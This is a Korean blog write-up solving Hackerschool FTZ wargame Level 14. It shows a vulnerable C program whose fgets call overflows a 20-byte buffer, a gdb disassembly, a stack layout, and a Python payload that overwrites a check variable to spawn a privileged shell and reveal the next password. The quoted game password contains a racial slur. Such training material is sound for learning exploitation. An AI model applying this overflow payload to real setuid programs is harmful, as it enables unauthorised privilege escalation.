해커스쿨 FTZ [LEVEL14] 풀이
M4ndU
해커스쿨 FTZ [LEVEL14] 풀이입니다.
ID | level14
PW | what that nigga want?
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat hint
를 이용해 힌트를 확인합시다.
login as: level14
level14@192.168.31.128's password:
[level14@ftz level14]$ ls -l
total 28
-rwsr-x--- 1 level15 level14 13801 Dec 10 2002 attackme
-rw-r----- 1 root level14 346 Dec 10 2002 hint
drwxr-xr-x 2 root level14 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level14 4096 Jan 11 2009 tmp
[level14@ftz level14]$ cat hint
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
이번에는 check의 값이 0xdeadbeef 이면 쉘을 띄우네요.
리턴값을 덮을 필요 없이 check의 값만 덮어 씌워주면 될 것 같습니다.
그런데 입력을 45바이트로 제한하네요.
부족해 보이는 것 같지만 gdb로 분석을 해보면?
[level14@ftz level14]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef
0x080484b4 <main+36>: jne 0x80484db <main+75>
0x080484b6 <main+38>: sub esp,0x8
0x080484b9 <main+41>: push 0xc17
0x080484be <main+46>: push 0xc17
0x080484c3 <main+51>: call 0x8048380 <setreuid>
0x080484c8 <main+56>: add esp,0x10
0x080484cb <main+59>: sub esp,0xc
0x080484ce <main+62>: push 0x8048548
0x080484d3 <main+67>: call 0x8048340 <system>
0x080484d8 <main+72>: add esp,0x10
0x080484db <main+75>: leave
0x080484dc <main+76>: ret
0x080484dd <main+77>: lea esi,[esi]
낮은 주소
buf[20] [ebp-56]
dummy[20]
check[4] [ebp-16]
crap[4] 과 dummy[8]
SFP[4]
RET[4]
높은 주소
buf시작부터 check 마지막부분까지 44바이트 이니 1바이트정도 여유가 있는 것을 알 수 있습니당.
이제 check부분을 덮어줍시다.
(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme
[level14@ftz level14]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme
my-pass
Level15 Password is "guess what".
간단하죠?
레벨 20을 향해 가즈아!!!!!!!
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL16] 풀이 (4) | 2018.02.09 |
---|---|
해커스쿨 FTZ [LEVEL15] 풀이 (0) | 2018.02.09 |
해커스쿨 FTZ [LEVEL13] 풀이 (2) | 2018.02.09 |
해커스쿨 FTZ [LEVEL12] 풀이 (4) | 2018.02.09 |
해커스쿨 FTZ [LEVEL11] 풀이 (3) | 2018.02.08 |